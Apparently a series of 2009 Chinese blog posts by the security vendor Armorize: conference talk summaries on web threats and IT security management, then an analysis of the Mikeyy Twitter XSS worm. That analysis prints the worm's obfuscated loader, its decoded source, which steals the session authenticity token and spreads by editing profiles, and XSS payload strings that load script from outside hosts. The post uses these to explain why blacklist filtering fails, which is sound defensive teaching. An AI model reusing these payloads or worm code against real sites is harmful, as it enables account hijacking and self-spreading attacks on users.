目前金融產業在網站程式開發的生命周期中，已經是非常注意邏輯問題，以及網站上線的安全檢核清單問題，也累積了相當多的實戰經驗。對於其他產業來說，就必須特別注意整個網站程式開發的生命周期。當然，也有很多人的網站已經上線了，如何快速有效的進行防禦呢？協助您爭取時間進行全面快速有效的弱點修復呢？
最後除了系統、網站弱點，還有其他弱點需要注意嗎？你的 IT 基礎架構、網路架構、資安設備佈署、惡意程式防禦佈署...等，可能都會造成防禦漏洞的，你又該如何面對呢？

二、洞悉 Web 手法威脅

上圖，目前僅列出網站常見的威脅，至於，真正漏洞成因你得深思，可參考先前的一篇文章：「深思網站淪陷背後的意義」。另外有一篇文章也可參考：「網站多久沒健檢，是不是該關心一下了」希望能有幫助。如何洞悉網站威脅呢？由上表可以發現接獲通報來源，沒有一個是 IT 人員自行發現的，所以 IT 人員該如何培養敏感度呢？情報網是否情蒐管道暢通呢？尤其是客服或企業聯繫窗口，經常被人所遺忘的一群，一定要給予相當的資安敏感度才是。
另外，還有一個很重要的，就是地下經濟利益，才是造就威脅的真正成因。地下利益是動機、目的，威脅手法只是其手段，所以這點才是洞悉的關鍵之道。接下來，身為網站管理人或負責人，你得改變思維，到底網站上有哪些東西是有心人士想要的，有心人士會利用各種手段或手法來取的，你該如何因應呢？

上圖，是對於網站瀏覽者的威脅，其中接獲通報來源中有所謂的「網頁信譽評等 (WRS, Web Reputation Services)」，相關軟體可以參考這裡，某些程度這是會是有幫助的一個工具，如果不懂這是啥？哪你真的需要花點時間培養網路資安觀念了。同樣的，思考地下利益為何？你會發現不外乎「木馬、個資及金錢」，無論外在風險、威脅或各種風風雨雨，你應該知道有心人要的是啥了吧！對使用者來說就避免中毒、注意個資、不要用網路做跟金錢有關的事，但，用說的永遠比較容易，如何培養警覺性才是關鍵。

三、實際案例探討
1.密碼復原的邏輯錯誤

相關文章：
2008/10/09 「田納西男子駭進培林的電子信箱」
思考(當成課後問題吧！)：問題如何能提早發現？做好準備(案例學習)？你的網站有類似問題嗎？

2.Code的攻防戰
相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
當你的網站遇上難纏的對手時，你該如何處置呢？開發人員也在事件應變處裡的一環了，不是嗎？早期的系統、網路漏洞問題，現在的程式開發漏洞問題，還有使用者警覺性的問題，你準備好了嗎？
思考(課後問題)：如何迅速找出有問題的程式碼？有效的修正程式碼？網站改版時該做甚麼？你有記取教訓嗎？對開發流程是否有衝擊？開發人員是否有案例學習討論？你做準備了嗎？

四、成功關鍵
1.產品要有人力技術配合：技術需要扎根，才能有效發揮產品優勢。當然，需要正確有效評估「現有資源」，檢視目前現有人力與資源。
2.產品要融入管理制度：向上管理、對下管理。
3.產品只10%的成本，90%的成本在建立管理與培養人力技術上。
4.您在選的是產品，還是在選服務與技術。

五、打造 Web AP 聯防網（Armorize AppSec Suite）

上圖，是目前阿碼主要產品，相信大家應該不陌生。

上圖，為阿碼產品與技術服務的戰略位置，其中最特別的是「資安技術稽核」，這是因為我們看過太多客戶內部的 IT 基礎架構、網路規劃配置、資安設備佈署、惡意程式防禦佈署...等，都有相當的錯誤觀念存在。舉最簡單的例子，我們在看過許多客戶的 IPS 部署後，還沒有看過正確佈署的，有誰關心您是否正確使用或有效使用產品呢？你的防禦佈署規劃是在疊層架屋嗎？我們會總體檢視，包含「網站架構」、「用戶端管理」、「網路基礎建置」三個面向，找出 IT 的盲點與弱點，提供補強建議。

上圖，是阿碼的ASF對客戶提供的加值服務大類。其中教育訓練，是提供客戶建立技術扎根的管道之一。其中還包含社交工程演練，提供一般使用者能培養電子郵件與上網的警覺性，這可不是用產品或技術就能達到的目標。

後記：
「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行，有鑑於許多向隅的人，還有中南部無法北上的有心人士，以及無法全場做成筆記者，能夠了解、知悉我們的心得，因此，彙整「亞太資安論壇」上的簡報內容，與大家分享。

成功 IT 主管不說的秘密－有效面對Web威脅的六個訣竅

2009-04-27T09:52:00.007+08:00

成功 IT 主管不說的秘密
前言：
今天的IT主管，是高挑戰性的工作。一方面，來自Web的威脅日益增加，另一方面，經濟不景氣，駭客更用力，而公司卻是預算降低，人手不足。資安投資並非能增加公司業務，在有限的時間、資源與預算下，資安做得好是運氣，且難以具體展現成果，而面對日新月異的攻擊手法，稍有疏忽卻要背負所有的責任。難道這是 IT 主管的宿命嗎？當然不是，只是成功的 IT 主管很少分享他們的秘訣。成功的IT主管能在有限資源下，充分掌握威脅面貌，減少不必要投資，有效降低資安風險，在需要時，與上級有效溝通取得資源，並選擇好的廠商，購買正確的產品或服務。資安威脅目前已經普遍受到公司高層主管重視，抓到訣竅的IT主管往往能快速得到認同，成為紅人。這個演講將用世界知名 CIO/CSO 實際的例子，舉出六個訣竅，說明這些成功的 IT 主管是如何瞭解威脅，與上級溝通，如何選對產品或廠商，如何在威脅中仍能高枕無憂，甚至步步高升？

一、洞悉 Web 威脅的宏觀挑戰

當網站開發完成，一旦對外開放的哪一刻開始，就無法拒絕任何人的任意輸入，如「神農大帝嚐百草，即使毒藥也得吃」，然神農大帝有神農氏一族，有目標、有系統、有管理的運作，你是單槍匹馬嗎？更甚者，一旦網站進一步成為幫兇，傷及網站瀏覽者，影響商譽甚鉅。而「漏洞修補」的方式也因開發團隊、語言系統、攻擊手法有不同因應方式，是否確實、有效、完整的修補也是一大課題。至於洞悉 Web 威脅，我們另外一場有深入剖析。

二、正確有效善用「現有資源」
1.最少投資，最大效益

了解 Web AP 弱點有其「難易度」與「輕重緩急」，「修補」與「防護」之間如何拿捏運用？以解「燃眉之急」！

體察修補漏洞「收斂」與「歸納」的重要性，最短時間達到最大效益。

2.現狀處境、現有資源的相互應用

人力（內外部）、時間、預算與技術方案，「完整化」所有弱點的發現。

三、向上管理，體察君意、謀得資源！
1.對上用「維持資安水平」，「不要發生資安事故」的同理心，方能爭取「所需資源」。
2.避免陷入「功能面」單純比較，兼顧「管理面」、「操作面」與「技術面」。
3.避免陷入「大廠背書」迷失。

四、對下管理，同仇敵愾！
1.Web 安全方案 vs 打破藩籬：網路、系統、開發、資安如何分工？要談分工，就必須知道問題出在哪裡？
2.Web 安全方案 vs 組織抗拒：資安非其事，何故惹塵埃？
3.槍口「一致」對外(駭客)：要塑造「保護網站」等同「保家衛民」，面對「艱難」任務，「共同」責任重大。並是適度利用「獎賞制度」讓「小兵願意立大功」，「全員皆兵，全面備戰」。
4.鼓勵資安為「生涯規劃」第二專長：強化資安教育訓練，如 Web 應用程式攻擊趨勢、修補改善、Secure Coding、應變鑑識、資安認證...等方式，培養資安專才。網路、系統、開發、資安本一家，內部輪調有必要，也能使同仁不會有過度的主觀意識。

五、「嚴選」Web AP 安全合作夥伴

阿碼是原廠，有產品技術的優勢，也提供滲透測試服務，對於網站攻與防有專業能力。阿碼的原廠技術都在台灣，就在南港軟體園區，而我們團隊來自世界各地，能說中英文，提供在地的即時的技術服務。阿碼也提供事件應變處理協助，但我們卻不喜歡這樣的接觸狀況，因為，這個時候已經是事後了，但我們仍會解決客戶問題，並給予正確的忠墾建議與防範觀念。也因為這些接觸我們也有機會接觸到最新的攻擊手法、威脅，且我們更關注在地的重大威脅狀況，或全球注目的重大攻擊事件，提供最新的攻擊分析說明，看我們的 Blog 就可以說明一切了。

六、實務導入「Web 資安生命週期」各階段之制度、流程與技術

這點當然是阿碼的強項，但阿碼不只有懂網站的攻防，我們也懂惡意程式。別忘了我們的「木馬間諜檢測軟體(Archon Scanner)」，透過行為痕跡偵測來分析電腦健康狀態的檢定工具。

後記：
「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行，有鑑於許多向隅的人，還有中南部無法北上的有心人士，以及無法全場做成筆記者，能夠了解、知悉我們的成果分享，因此，在這彙整「亞太資安論壇」上的簡報內容。阿碼科技的 ASF 團隊(Armorize Special Forces)在協助多家企業客戶成功導入產品、建立管理制度、傳授人力技術...等過程中，一起共同努力克服重大問題的關鍵時刻，不斷磨合學習而來，在歸納整理心訣後，在此與大家一同分享。

為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明

2009-04-19T06:25:00.010+08:00

Mikeyy mikeyy one more time...oops, I did it again...

經過一個星期，Mikeyy蠕蟲發威了五次，twitter也號稱將所有相關的XSS（跨網站腳本）漏洞都修復了。結果昨天Mikeyy再度發威，twitter也再度公佈，並在幾小時候宣布已經修補漏洞。沒想到18小時後，Mikeyy又重現，twitter也又趕快公佈並著手處理...（見上圖。）

這次蠕蟲來的猛，幾個小時內發出超過一萬五千封假tweet訊息：

難道說這麼簡單到不行的twitter介面，在經過一個星期後，還是無法正確修補XSS（跨網站腳本）漏洞？不...會...吧？事實上也是這樣，六代跟一至五代的XSS攻擊字串不同，證明了twitter的修補方法都是錯的，我們這邊就藉此實例來說明，為何XSS（跨網站腳本）那麼難修補？

這次的蠕蟲放在：hxxp://runebash.net/xss.js，有經過一層的混碼（obfuscation）：


var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28

Google了半天，竟然沒有人貼出解碼後的版本（連解碼前之以上版本都找不到），真是苦命，都沒人想研究嗎？只好自己手動解一下：


function wait() {
  var content = document.documentElement.innerHTML;
  var tmp_cookie=document.cookie;
  var tmp_posted=tmp_cookie.match(/posted/);
  authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
  var authtoken=authreg.exec(content);
  var authtoken=authtoken[1];
  var randomUpdate= new Array();
  randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
  randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
  randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
  randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
  randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
  randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
  randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
  randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
  randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
  randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
  randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
  randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
  randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
  randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
  randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
  
  var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
  var updateEncode=urlencode(randomUpdate[genRand]);
  
  var ajaxConn= new XHConn();
  ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
  var _0xf81bx1c="Mikeyy";
  var updateEncode=urlencode(_0xf81bx1c);
  var ajaxConn1= new XHConn();
  ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
  var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
  var XSS=urlencode(genXSS);
  var ajaxConn2= new XHConn();
  ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
  
} ;
setTimeout(wait(),5250);

重點在第34行，也就是這次攻擊的字串：

var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";

恩，沒錯，字串中沒有「<」或「>」或「"」等字元，當然也沒有「<script>」或「<script src=」等字串，但是還是有效達成XSS（跨網站腳本）的效果。

我們看一下被感染後使用者的原始HTML（節錄）：


ul.sidebar-menu li.active a {
  font-weight: bold;
  color: #341957;
  background-color: #000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}

恩，沒錯，這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下，其中就帶有「<script>」字串：

var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

有效防範XSS之難處在於，每個網站的架構之不同，可能造成多層的字串編解碼步驟，所以如何有效處理外來（不安全）的字串，因各網站而異，開發人員需要充分了解XSS的原理，才能有效避免。這個題目太大，晚上就要上飛機到RSA參展，目前無法寫太多，但是簡而言之，應盡量避免黑名單之使用，而採用白名單（比較資料型態，長度，合法性等）。以twitter的例子，twitter就是誤認為以黑名單方式過濾掉「<」或「>」或「"」等字元，就可以避免XSS了，但是當然不是這樣子，以這次六代的攻擊字串為例，其中並無包含任何以上字元，然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多，其中RSnake（ha.ckers.org與sla.ckers.org，OWASP有來台灣）的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整，可以參考。

為何說twitter是用黑名單方式？其實之前就測出來了，也有人通知，但是可能email都進垃圾信了，才會又讓Mikeyy捲土重來。其實不用測試，twitter的API手冊上，早就自己承認了：

手冊上直接說：為了避免cross-site scripting漏洞，「<」與「>」會經過編碼...這個在駭客的眼裡，其實是說：我很有可能有XSS漏洞，快來打我。黑名單絕對不是有效防止XSS（跨網站腳本）的方法。這是因為在很多情況下，是不需要「<」與「>」，甚至「"」等字元，就可以攻擊成功的。

在問題終於排除後，twitter再次宣布「問題已經控制住了（under control）」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢？

作者 Wayne 為阿碼科技CEO

後記一：因為這次網路上似乎都沒有人公開攻擊碼，剛才寫信給RSnake（ha.ckers.org與sla.ckers.org），他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區，看一下上面從Samy一路下來到都有收錄，幫他推一下，想研究XSS蠕蟲看這：http://sla.ckers.org/forum/read.php?2,14477。

後記二：有朋友寫信來問，我才發現這系列幾篇中都忘記提了：注意攻擊方式是用「Post」非「Get」，很久以前的傳說：【使用「Post」非「Get」，就可以避免XSS】...當然一直都只是傳說。

相關文章：
2009/04/19 「為何XSS（跨網站腳本）漏洞難改？以twitter Mikeyy六代蠕蟲說明」（本篇）
2009/04/14 「漏洞修補不完，Twitter 蠕蟲五度發威：詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年：twitter XSS worm「stalkdaily worm」蠕蟲是我做的」